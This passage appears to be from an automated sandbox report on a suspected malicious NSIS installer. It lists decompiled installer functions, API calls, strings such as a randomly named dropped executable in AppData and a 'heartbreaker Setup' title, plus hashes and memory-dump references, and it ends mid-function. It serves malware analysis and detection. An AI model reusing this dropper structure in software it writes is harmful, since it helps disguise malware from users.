CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405C97
CharNextA.USER32(?,?,?,00000000), ref: 00405CA4
CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CA9
CharPrevA.USER32(?,?,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CB9

Strings

"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" , xrefs: 00405C45
*?|<>/":, xrefs: 00405C87
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C40, 00405C7B

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" $*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-1769045069
Opcode ID: 5aa71b13a4eda0142438c40892e2bf660e792717ed83394db4a483eb7dc85cb7
Instruction ID: 6e21827f4117d195ccc2fee92ee9dbca2865e9be55a4e6ca6148cbd3e4a13511
Opcode Fuzzy Hash: 5aa71b13a4eda0142438c40892e2bf660e792717ed83394db4a483eb7dc85cb7
Instruction Fuzzy Hash: F011905580CB942AFB3206384C48B776F99CB67764F58407BE8C4723C2D67C5C429B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00403DF6, Relevance: 12.1, APIs: 8, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403DF6(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t35;
				long _t37;
				void* _t40;
				long* _t49;

				if(_a4 + 0xfffffecd > 5) {
					L15:
					return 0;
				}
				_t49 = GetWindowLongA(_a12, 0xffffffeb);
				if(_t49 == 0) {
					goto L15;
				}
				_t35 =  *_t49;
				if((_t49[5] & 0x00000002) != 0) {
					_t35 = GetSysColor(_t35);
				}
				if((_t49[5] & 0x00000001) != 0) {
					SetTextColor(_a8, _t35);
				}
				SetBkMode(_a8, _t49[4]);
				_t37 = _t49[1];
				_v16.lbColor = _t37;
				if((_t49[5] & 0x00000008) != 0) {
					_t37 = GetSysColor(_t37);
					_v16.lbColor = _t37;
				}
				if((_t49[5] & 0x00000004) != 0) {
					SetBkColor(_a8, _t37);
				}
				if((_t49[5] & 0x00000010) != 0) {
					_v16.lbStyle = _t49[2];
					_t40 = _t49[3];
					if(_t40 != 0) {
						DeleteObject(_t40);
					}
					_t49[3] = CreateBrushIndirect( &_v16);
				}
				return _t49[3];
			}

APIs

GetWindowLongA.USER32 ref: 00403E13
GetSysColor.USER32(00000000), ref: 00403E2F
SetTextColor.GDI32(?,00000000), ref: 00403E3B
SetBkMode.GDI32(?,?), ref: 00403E47
GetSysColor.USER32(?), ref: 00403E5A
SetBkColor.GDI32(?,?), ref: 00403E6A
DeleteObject.GDI32(?), ref: 00403E84
CreateBrushIndirect.GDI32(?), ref: 00403E8E

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction ID: 6c7fdd900eb09a88ca35fb2207b5deae9db7ec429e3ae93f4f07cdddb38981b8
Opcode Fuzzy Hash: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction Fuzzy Hash: 1F219671904744ABCB219F78DD08B4B7FF8AF00715F048A2AF856E22E1C338EA04CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040267C, Relevance: 10.6, APIs: 7, Instructions: 89
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040267C(struct _OVERLAPPED* __ebx) {
				void* _t27;
				long _t32;
				struct _OVERLAPPED* _t47;
				void* _t51;
				void* _t53;
				void* _t56;
				void* _t57;
				void* _t58;

				_t47 = __ebx;
				 *(_t58 - 8) = 0xfffffd66;
				_t52 = E004029F6(0xfffffff0);
				 *(_t58 - 0x44) = _t24;
				if(E0040553D(_t52) == 0) {
					E004029F6(0xffffffed);
				}
				E00405695(_t52);
				_t27 = E004056B4(_t52, 0x40000000, 2);
				 *(_t58 + 8) = _t27;
				if(_t27 != 0xffffffff) {
					_t32 =  *0x423e94; // 0x8200
					 *(_t58 - 0x2c) = _t32;
					_t51 = GlobalAlloc(0x40, _t32);
					if(_t51 != _t47) {
						E00403080(_t47);
						E0040304E(_t51,  *(_t58 - 0x2c));
						_t56 = GlobalAlloc(0x40,  *(_t58 - 0x1c));
						 *(_t58 - 0x30) = _t56;
						if(_t56 != _t47) {
							E00402E5B( *((intOrPtr*)(_t58 - 0x20)), _t47, _t56,  *(_t58 - 0x1c));
							while( *_t56 != _t47) {
								_t49 =  *_t56;
								_t57 = _t56 + 8;
								 *(_t58 - 0x38) =  *_t56;
								E00405675( *((intOrPtr*)(_t56 + 4)) + _t51, _t57, _t49);
								_t56 = _t57 +  *(_t58 - 0x38);
							}
							GlobalFree( *(_t58 - 0x30));
						}
						WriteFile( *(_t58 + 8), _t51,  *(_t58 - 0x2c), _t58 - 8, _t47);
						GlobalFree(_t51);
						 *(_t58 - 8) = E00402E5B(0xffffffff,  *(_t58 + 8), _t47, _t47);
					}
					CloseHandle( *(_t58 + 8));
				}
				_t53 = 0xfffffff3;
				if( *(_t58 - 8) < _t47) {
					_t53 = 0xffffffef;
					DeleteFileA( *(_t58 - 0x44));
					 *((intOrPtr*)(_t58 - 4)) = 1;
				}
				_push(_t53);
				E00401423();
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t58 - 4));
				return 0;
			}

APIs

GlobalAlloc.KERNEL32(00000040,00008200,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 004026D0
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,000000F0), ref: 004026EC
GlobalFree.KERNEL32 ref: 00402725
WriteFile.KERNEL32(FFFFFD66,00000000,?,FFFFFD66,?,?,?,?,000000F0), ref: 00402737
GlobalFree.KERNEL32 ref: 0040273E
CloseHandle.KERNEL32(FFFFFD66,?,?,000000F0), ref: 00402756
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 0040276A

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: b65008d77356e61c7ec7953c9ee0e327e44be4943e63621df6e0ee83a23bc65b
Instruction ID: 12be5ee7c0a04460072f4a22dab7179149aa53ae67e7a866020ad89d1ba75591
Opcode Fuzzy Hash: b65008d77356e61c7ec7953c9ee0e327e44be4943e63621df6e0ee83a23bc65b
Instruction Fuzzy Hash: 5831C071C00128BBDF216FA5CD88EAE7E79EF04368F10423AF524762E0C7795D419BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404D7B, Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404D7B(CHAR* _a4, CHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				CHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				CHAR* _t26;
				signed int _t27;
				CHAR* _t28;
				long _t29;
				signed int _t39;

				_t26 =  *0x423664; // 0x0
				_v8 = _t26;
				if(_t26 != 0) {
					_t27 =  *0x423f34; // 0x0
					_v12 = _t27;
					_t39 = _t27 & 0x00000001;
					if(_t39 == 0) {
						E004059FF(0, _t39, 0x41fc50, 0x41fc50, _a4);
					}
					_t26 = lstrlenA(0x41fc50);
					_a4 = _t26;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t26 = SetWindowTextA( *0x423648, 0x41fc50);
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x41fc50;
							_v52 = 1;
							_t29 = SendMessageA(_v8, 0x1004, 0, 0);
							_v44 = 0;
							_v48 = _t29 - _t39;
							SendMessageA(_v8, 0x1007 - _t39, 0,  &_v52);
							_t26 = SendMessageA(_v8, 0x1013, _v48, 0);
						}
						if(_t39 != 0) {
							_t28 = _a4;
							 *((char*)(_t28 + 0x41fc50)) = 0;
							return _t28;
						}
					} else {
						_t26 =  &(_a4[lstrlenA(_a8)]);
						if(_t26 < 0x800) {
							_t26 = lstrcatA(0x41fc50, _a8);
							goto L6;
						}
					}
				}
				return _t26;
			}

APIs

lstrlenA.KERNEL32(0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000,?), ref: 00404DB4
lstrlenA.KERNEL32(00402F8B,0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000), ref: 00404DC4
lstrcatA.KERNEL32(0041FC50,00402F8B,00402F8B,0041FC50,00000000,0040F020,00000000), ref: 00404DD7
SetWindowTextA.USER32(0041FC50,0041FC50), ref: 00404DE9
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404E0F
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404E29
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404E37

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: aa11647610f970b6d5c89beb7753eaef7f091513a46ac0765cbf1dd94c7bd241
Instruction ID: 7f48be0438031ac4014e4461c76190d89e96d247d5b12388d0b77bfdc4e74ae1
Opcode Fuzzy Hash: aa11647610f970b6d5c89beb7753eaef7f091513a46ac0765cbf1dd94c7bd241
Instruction Fuzzy Hash: 09216DB1E00158BBDB119FA5CD84ADEBFB9FF45354F14807AFA04B6290C7398A419B98

Uniqueness

Uniqueness Score: -1.00%

Function 0040464A, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040464A(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageA(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageA(_t28, 0x110c, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageA(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 00404665
GetMessagePos.USER32 ref: 0040466D
ScreenToClient.USER32 ref: 00404687
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404699
SendMessageA.USER32(?,0000110C,00000000,?), ref: 004046BF

Strings

f, xrefs: 0040469B

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction ID: 811e074b116e6ce6d11e192741490be2760717d42b69e64a674173994bb84636
Opcode Fuzzy Hash: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction Fuzzy Hash: 4E014C71D00219BADB00DBA4DC85FFEBBB8AB59711F10052ABA00B61D0D7B8A9058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402B3B, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B3B(struct HWND__* _a4, intOrPtr _a8) {
				char _v68;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x40b018; // 0x8200
					_t11 =  *0x41f028;
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfA( &_v68, "verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextA(_a4,  &_v68);
					SetDlgItemTextA(_a4, 0x406,  &_v68);
				}
				return 0;
			}

0x00402b48
0x00402b56
0x00402b5c
0x00402b5c
0x00402b6a
0x00402b6c
0x00402b72
0x00402b79
0x00402b7b
0x00402b7b
0x00402b91
0x00402ba1
0x00402bb3
0x00402bb3
0x00402bbb

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B56
MulDiv.KERNEL32(00008200,00000064,?), ref: 00402B81
wsprintfA.USER32 ref: 00402B91
SetWindowTextA.USER32(?,?), ref: 00402BA1
SetDlgItemTextA.USER32 ref: 00402BB3

Strings

verifying installer: %d%%, xrefs: 00402B8B

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: bd1d3871bc3dbc50f966d73cf0113ae7f1e1d2dda644773975aa317f12337262
Instruction ID: e41715c37a5330c5740685503c003044c4943c79b663b03d39d41db920bc543d
Opcode Fuzzy Hash: bd1d3871bc3dbc50f966d73cf0113ae7f1e1d2dda644773975aa317f12337262
Instruction Fuzzy Hash: 34014470A00209ABDB249F60DD09EAE3779AB04345F008039FA16B92D1D7B49A559F99

Uniqueness

Uniqueness Score: -1.00%

Function 00402303, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00402303(void* __eax) {
				void* _t15;
				char* _t18;
				int _t19;
				char _t24;
				int _t27;
				signed int _t30;
				intOrPtr _t35;
				void* _t37;

				_t15 = E00402AEB(__eax);
				_t35 =  *((intOrPtr*)(_t37 - 0x14));
				 *(_t37 - 0x30) =  *(_t37 - 0x10);
				 *(_t37 - 0x44) = E004029F6(2);
				_t18 = E004029F6(0x11);
				_t30 =  *0x423f30; // 0x0
				 *(_t37 - 4) = 1;
				_t19 = RegCreateKeyExA(_t15, _t18, _t27, _t27, _t27, _t30 | 0x00000002, _t27, _t37 + 8, _t27);
				if(_t19 == 0) {
					if(_t35 == 1) {
						E004029F6(0x23);
						_t19 = lstrlenA(0x40a350) + 1;
					}
					if(_t35 == 4) {
						_t24 = E004029D9(3);
						 *0x40a350 = _t24;
						_t19 = _t35;
					}
					if(_t35 == 3) {
						_t19 = E00402E5B( *((intOrPtr*)(_t37 - 0x18)), _t27, 0x40a350, 0xc00);
					}
					if(RegSetValueExA( *(_t37 + 8),  *(_t37 - 0x44), _t27,  *(_t37 - 0x30), 0x40a350, _t19) == 0) {
						 *(_t37 - 4) = _t27;
					}
					_push( *(_t37 + 8));
					RegCloseKey();
				}
				 *0x423f08 =  *0x423f08 +  *(_t37 - 4);
				return 0;
			}

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402341
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsmBB29.tmp,00000023,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402361
RegSetValueExA.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsmBB29.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040239A
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsmBB29.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040247D

Strings

C:\Users\user\AppData\Local\Temp\nsmBB29.tmp, xrefs: 00402352, 00402360, 00402374, 00402384, 0040238F

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsmBB29.tmp
API String ID: 1356686001-2915158230
Opcode ID: 9ba96a6a32475b5f8f04ccfbc4be301ddec9fd1a1c55997cdc687cc56a4b0e43
Instruction ID: 0c84a363429982d99d3a5a271a87b4b8d308e401ccf86a25fc22d5166c0076e5
Opcode Fuzzy Hash: 9ba96a6a32475b5f8f04ccfbc4be301ddec9fd1a1c55997cdc687cc56a4b0e43
Instruction Fuzzy Hash: 781163B1E00209BFEB10AFA4DE49EAF767CFB40358F10413AF901B61D0D6B85D019669

Uniqueness

Uniqueness Score: -1.00%

Function 004037EF, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004037EF(void* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t6;
				intOrPtr _t11;
				signed int _t13;
				intOrPtr _t15;
				signed int _t16;
				signed short* _t18;
				signed int _t20;
				signed short* _t23;
				intOrPtr _t25;
				signed int _t26;
				intOrPtr* _t27;

				_t24 = "1033";
				_t13 = 0xffff;
				_t6 = E00405954(__ecx, "1033");
				while(1) {
					_t26 =  *0x423ec4; // 0x1
					if(_t26 == 0) {
						goto L7;
					}
					_t15 =  *0x423e90; // 0x5de1a0
					_t16 =  *(_t15 + 0x64);
					_t20 =  ~_t16;
					_t18 = _t16 * _t26 +  *0x423ec0;
					while(1) {
						_t18 = _t18 + _t20;
						_t26 = _t26 - 1;
						if((( *_t18 ^ _t6) & _t13) == 0) {
							break;
						}
						if(_t26 != 0) {
							continue;
						}
						goto L7;
					}
					 *0x423660 = _t18[1];
					 *0x423f28 = _t18[3];
					_t23 =  &(_t18[5]);
					if(_t23 != 0) {
						 *0x42365c = _t23;
						E0040593B(_t24,  *_t18 & 0x0000ffff);
						SetWindowTextA( *0x420450, E004059FF(_t13, _t24, _t26, "heartbreaker Setup", 0xfffffffe));
						_t11 =  *0x423eac; // 0x4
						_t27 =  *0x423ea8; // 0x5de34c
						if(_t11 == 0) {
							L15:
							return _t11;
						}
						_t25 = _t11;
						do {
							_t11 =  *_t27;
							if(_t11 != 0) {
								_t5 = _t27 + 0x18; // 0x5de364
								_t11 = E004059FF(_t13, _t25, _t27, _t5, _t11);
							}
							_t27 = _t27 + 0x418;
							_t25 = _t25 - 1;
						} while (_t25 != 0);
						goto L15;
					}
					L7:
					if(_t13 != 0xffff) {
						_t13 = 0;
					} else {
						_t13 = 0x3ff;
					}
				}
			}

APIs

SetWindowTextA.USER32(00000000,heartbreaker Setup), ref: 00403887

Strings

1033, xrefs: 004037F3, 004037FD, 0040386E
L], xrefs: 00403892
heartbreaker Setup, xrefs: 00403876
C:\Users\user\AppData\Local\Temp\, xrefs: 004037F0

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: TextWindow
String ID: 1033$C:\Users\user\AppData\Local\Temp\$L]$heartbreaker Setup
API String ID: 530164218-3087210863
Opcode ID: 809311cf63a270f3da3981a90469c0860d530fe9ed693af6c887377ad56b97b2
Instruction ID: 1abde7c3b4d11e9a2e55591403c44a3397e590d434b7b54f33d2a439c9831bdd
Opcode Fuzzy Hash: 809311cf63a270f3da3981a90469c0860d530fe9ed693af6c887377ad56b97b2
Instruction Fuzzy Hash: 0711C276B002119BC730AF55D8809377BADEF4471631981BFE80167390C73D9E028B98

Uniqueness

Uniqueness Score: -1.00%

Function 00402A36, Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402A36(void* _a4, char* _a8, long _a12) {
				void* _v8;
				char _v272;
				signed char _t16;
				long _t18;
				long _t25;
				intOrPtr* _t27;
				long _t28;

				_t16 =  *0x423f30; // 0x0
				_t18 = RegOpenKeyExA(_a4, _a8, 0, _t16 | 0x00000008,  &_v8);
				if(_t18 == 0) {
					while(RegEnumKeyA(_v8, 0,  &_v272, 0x105) == 0) {
						__eflags = _a12;
						if(_a12 != 0) {
							RegCloseKey(_v8);
							L8:
							__eflags = 1;
							return 1;
						}
						_t25 = E00402A36(_v8,  &_v272, 0);
						__eflags = _t25;
						if(_t25 != 0) {
							break;
						}
					}
					RegCloseKey(_v8);
					_t27 = E00405CFF(2);
					if(_t27 == 0) {
						__eflags =  *0x423f30; // 0x0
						if(__eflags != 0) {
							goto L8;
						}
						_t28 = RegDeleteKeyA(_a4, _a8);
						__eflags = _t28;
						if(_t28 != 0) {
							goto L8;
						}
						return _t28;
					}
					return  *_t27(_a4, _a8,  *0x423f30, 0);
				}
				return _t18;
			}

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00000000,?), ref: 00402A57
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402A93
RegCloseKey.ADVAPI32(?), ref: 00402A9C
RegCloseKey.ADVAPI32(?), ref: 00402AC1
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402ADF

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 32cdae671697de7973d8bb2633bc31189b6b536a9ce7c2939538a07c10ae524a
Instruction ID: 582bceb6e4b24316922a1ee6e85d565da044e62c79b522cd3b8563d0d5e38007
Opcode Fuzzy Hash: 32cdae671697de7973d8bb2633bc31189b6b536a9ce7c2939538a07c10ae524a
Instruction Fuzzy Hash: E7111771A10049BEEF31AF90DE49DAF7B7DEB44345B104036F906A10A0DBB49E51AF69

Uniqueness

Uniqueness Score: -1.00%

Function 00401CC1, Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401CC1(int __edx) {
				void* _t17;
				struct HINSTANCE__* _t21;
				struct HWND__* _t25;
				void* _t27;

				_t25 = GetDlgItem( *(_t27 - 0x34), __edx);
				GetClientRect(_t25, _t27 - 0x40);
				_t17 = SendMessageA(_t25, 0x172, _t21, LoadImageA(_t21, E004029F6(_t21), _t21,  *(_t27 - 0x38) *  *(_t27 - 0x1c),  *(_t27 - 0x34) *  *(_t27 - 0x1c), 0x10));
				if(_t17 != _t21) {
					DeleteObject(_t17);
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t27 - 4));
				return 0;
			}

0x00401ccb
0x00401cd2
0x00401d01
0x00401d09
0x00401d10
0x00401d10
0x0040288e
0x0040289a

APIs

GetDlgItem.USER32 ref: 00401CC5
GetClientRect.USER32 ref: 00401CD2
LoadImageA.USER32 ref: 00401CF3
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D01
DeleteObject.GDI32(00000000), ref: 00401D10

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: aab1ff915591a61a6dff0f8bf18086dee3b735981cb00012526b248d1bc18b45
Instruction ID: c9eade559dcb8dabe12f7fb8fefc2ecb3bb817c4e851fb83d30c8e131ed4808d
Opcode Fuzzy Hash: aab1ff915591a61a6dff0f8bf18086dee3b735981cb00012526b248d1bc18b45
Instruction Fuzzy Hash: B5F01DB2E04105BFD700EFA4EE89DAFB7BDEB44345B104576F602F2190C6789D018B69

Uniqueness

Uniqueness Score: -1.00%

Function 00404568, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78
stringCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00404568(int _a4, intOrPtr _a8, unsigned int _a12) {
				char _v36;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t26;
				void* _t34;
				signed int _t36;
				signed int _t39;
				unsigned int _t46;

				_t46 = _a12;
				_push(0x14);
				_pop(0);
				_t34 = 0xffffffdc;
				if(_t46 < 0x100000) {
					_push(0xa);
					_pop(0);
					_t34 = 0xffffffdd;
				}
